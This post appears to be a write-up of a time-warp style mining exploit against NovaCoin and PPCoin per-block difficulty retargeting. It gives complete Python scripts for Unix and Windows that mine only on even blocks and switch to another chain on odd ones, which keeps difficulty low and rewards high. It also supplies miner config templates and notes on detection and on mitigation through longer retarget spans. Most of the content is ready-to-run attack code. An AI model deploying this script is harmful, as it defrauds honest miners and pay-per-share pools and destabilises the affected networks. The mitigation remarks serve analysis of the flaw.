Brief description of the exploitDifficulty and reward adjust per block for NovaCoin and PPCoin (see main.cpp). By mining every other block and having a large hash power (ideally as large as possible), difficulty may be kept low and reward may be kept high for the person with the high hash power. This is because there is a maximum cap on difficulty change for each round. The higher the hashing power, the more the exploiter benefits.
Code (Unix, python 2.7, Novacoin targeting)
from subprocess import Popen, PIPE, STDOUT
import time
import json
class Nova(object):
def __init__(self, blocks):
self.blocks = blocks
scan_time = 5
while(True):
### Get the initial block number from novacoind, store in output_j['blocks']
cmd = './novacoind getinfo' ### Command for dumping info from novacoind in json format; we use this lots
p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=STDOUT, close_fds=True) ### Execute command
output = p.stdout.read() ### Read the stdout that output gives us
output_j = json.loads(output) ### Convert from json to python values; we call block number using the class given above
print("Current block is " + str(output_j['blocks']))
if (output_j['blocks'] % 2 == 0): ### Block is even, mine NovaCoin
print ("Even block, mining NVC...")
novacoin_config = open('novamine.conf','r')
card_config = open('cardconf.conf','r')
configuration = open('litecoin.conf', 'w')
### Copy the reaper configuration to litecoin.conf for novacoin
for line in novacoin_config:
configuration.write(line)
for line in card_config:
configuration.write(line)
novacoin_config.close()
card_config.close()
configuration.close()
miner_cmd = './reaper' ### Command for your miner to mine NVC
miner_thread = Popen(miner_cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=STDOUT, close_fds=True)
### Loop below checks to see when block we're on, terminates miner if we are on an off number block
while(True):
p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=STDOUT, close_fds=True)
output = p.stdout.read()
output_j = json.loads(output)
if not(output_j['blocks'] % 2 == 0):
miner_thread.terminate()
break
else:
print("Block still even, mining novacoin.")
time.sleep(scan_time)
else: ### Block is odd, mine something else
print ("Odd block, mining another chain...")
novacoin_config = open('elsemine.conf','r')
card_config = open('cardconf.conf','r')
configuration = open('litecoin.conf', 'w')
### Copy the reaper configuration to litecoin.conf for other chain
for line in novacoin_config:
configuration.write(line)
for line in card_config:
configuration.write(line)
novacoin_config.close()
card_config.close()
configuration.close()
miner_cmd = './reaper' ### Command for your miner to mine something else; the same here because we use reaper
miner_thread = Popen(miner_cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=STDOUT, close_fds=True)
### Loop below checks to see when block we're on, terminates miner if we are on an even number block
while(True):
p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=STDOUT, close_fds=True)
output = p.stdout.read()
output_j = json.loads(output)
if (output_j['blocks'] % 2 == 0):
miner_thread.terminate()
break
else:
print("Block still odd, mining another chain.")
time.sleep(scan_time)
Code (Windows, python 2.7, Novacoin targeting)
from subprocess import Popen, PIPE, STDOUT
import time
import json
class Nova(object):
def __init__(self, blocks):
self.blocks = blocks
scan_time = 5
while(True):
### Get the initial block number from novacoind, store in output_j['blocks']
cmd = 'novacoind.exe getinfo' ### Command for dumping info from novacoind in json format; we use this lots
p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=STDOUT, close_fds=True) ### Execute command
output = p.stdout.read() ### Read the stdout that output gives us
output_j = json.loads(output) ### Convert from json to python values; we call block number using the class given above
print("Current block is " + str(output_j['blocks']))
if (output_j['blocks'] % 2 == 0): ### Block is even, mine NovaCoin
print ("Even block, mining NVC...")
novacoin_config = open('novamine.conf','r')
card_config = open('cardconf.conf','r')
configuration = open('litecoin.conf', 'w')
### Copy the reaper configuration to litecoin.conf for novacoin
for line in novacoin_config:
configuration.write(line)
for line in card_config:
configuration.write(line)
novacoin_config.close()
card_config.close()
configuration.close()
miner_cmd = 'reaper.exe' ### Command for your miner to mine NVC
miner_thread = Popen(miner_cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=STDOUT, close_fds=True)
### Loop below checks to see when block we're on, terminates miner if we are on an off number block
while(True):
p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=STDOUT, close_fds=True)
output = p.stdout.read()
output_j = json.loads(output)
if not(output_j['blocks'] % 2 == 0):
miner_thread.terminate()
break
else:
print("Block still even, mining novacoin.")
time.sleep(scan_time)
else: ### Block is odd, mine something else
print ("Odd block, mining another chain...")
novacoin_config = open('elsemine.conf','r')
card_config = open('cardconf.conf','r')
configuration = open('litecoin.conf', 'w')
### Copy the reaper configuration to litecoin.conf for other chain
for line in novacoin_config:
configuration.write(line)
for line in card_config:
configuration.write(line)
novacoin_config.close()
card_config.close()
configuration.close()
miner_cmd = 'reaper.exe' ### Command for your miner to mine something else; the same here because we use reaper
miner_thread = Popen(miner_cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=STDOUT, close_fds=True)
### Loop below checks to see when block we're on, terminates miner if we are on an even number block
while(True):
p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=STDOUT, close_fds=True)
output = p.stdout.read()
output_j = json.loads(output)
if (output_j['blocks'] % 2 == 0):
miner_thread.terminate()
break
else:
print("Block still odd, mining another chain.")
time.sleep(scan_time)
Requires the following files to exist:
novacoind (or ppcoind) executable that is running prior to executing the python code above
reaper executable
reaper.conf (configured as per normal)
novamine.conf:
host novacoinhost
port ????
user username
pass password
elsemine.conf (mines litecoin here, could be anything):
host litecoinhost
port ????
user username
pass password
cardconf.conf (configuration for scrypt):
protocol litecoin
worksize 256
vectors 1
aggression 20
threads_per_gpu 1
sharethreads 32
lookup_gap 2
gpu_thread_concurrency ####
Notes- The exploit is made doubly beneficial by inducing both decreased difficulty and increased block reward for the attacker, as per NVC/PPCs algorithms for adjustment
- Solo miners with high hash rates especially benefit
- The attack is easily identified by watching the network block rate and difficulty/block reward
- The attack can be collusional; if lots of miners run it, it benefits all of them by giving them more coins for less electricity
- The attack should also work on round-based proportional pay-per-share pools
- The attack screws up PPS pools that are smaller than the attacker's hash power, because the pool will likely only get every other block
- Such an attack is avoidable by making retarget based on a larger span of blocks, hence why bitcoin chose two week retarget times
- The attack has previously been observed on the litecoin network, but is especially easy to implement here because of per-block retargeting
- To use cgminer, simply put 'cgminer --your_args' in the lines labeled: miner_cmd = 'whatever'